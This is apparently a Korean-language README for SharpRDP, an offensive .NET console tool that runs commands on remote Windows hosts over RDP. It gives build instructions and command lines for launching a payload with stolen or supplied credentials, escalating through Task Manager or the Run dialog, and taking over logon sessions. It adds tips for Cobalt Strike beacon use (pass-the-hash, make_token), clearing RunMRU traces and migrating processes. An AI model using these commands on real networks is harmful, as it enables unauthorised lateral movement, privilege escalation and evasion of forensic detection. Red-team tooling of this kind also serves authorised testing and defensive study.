
인증된 명령 실행을 위한 원격 데스크톱 프로토콜 .NET 콘솔 애플리케이션
컴파일하려면 Visual Studio에서 프로젝트를 열고 릴리스용으로 빌드하세요. Release 디렉터리에 두 개의 DLL이 출력되지만, 어셈블리에 DLL이 포함되어 있으므로 별도로 필요하지 않습니다.
제공된 DLL을 사용하지 않으려면 AxMSTSCLib.dll DLL을 생성하기 위해 .NET SDK가 필요합니다. 생성하려면 SDK의 aximp를 mstscax.dll에 대해 실행해야 합니다. %<SDK dir>%\aximp.exe %windir%\system32\mstscax.dll. 해당 DLL은 프로젝트에서 Interop DLL을 생성하기 위해 참조되어야 합니다.
또한 DLL을 Deflate으로 압축하고 이름을 AxInterop.MSTSCLib.dll.bin 및 Interop.MSTSCLib.dll.bin으로 지정해야 합니다.
일반 RDP 연결 및 실행
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
cmd 또는 powershell의 자식 프로세스로 프로그램 실행
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password exec=cmd
제한된 관리자 모드 사용
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"
첫 번째 호스트 드라이브 연결
SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true
실행 대화 상자를 통해 상승된 권한으로 명령 실행 - 현재 버그 있음
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe" username=domain\user password=password elevated=winr
작업 관리자를 통해 상승된 권한으로 명령 실행
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password elevated=taskmgr
네트워크 수준 인증 추가
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password nla=true
로그온 세션 인계 요청
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password takeover=true
대상에서 제한된 관리자 모드가 활성화된 경우 자격 증명을 지정하지 않으면 현재 사용자 컨텍스트가 사용됩니다. 비콘(beacon)에서 PTH 또는 make_token을 사용하거나 Windows 시스템에서 runas /netonly를 사용할 수 있습니다.
모든 실행은 Windows 실행 대화 상자(Win+R)로 시작됩니다. 실행한 명령이 포함된 레지스트리 키가 HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU에 생성됩니다. 이를 제거하려면 다음을 사용할 수 있습니다: CleanRunMRU: RunMRU 값 가져오기 또는 지우기
msbuild와 같은 프로그램을 실행하면 프로세스가 실행되는 동안 cmd 창이 나타날 수 있습니다. 이 경우 프로세스를 마이그레이션하고 원본을 종료하는 것이 가장 좋습니다.
필요한 DLL은 어셈블리에 컴파일되어 있으며 앱 도메인 어셈블리 확인(resolve) 이벤트가 사용됩니다. DLL 크기로 인해 압축되어 런타임 시 압축 해제됩니다(비콘의 1MB 크기 제한을 충족하기 위해).
관련 블로그: SharpRDP
또한 MoveKit의 일부입니다.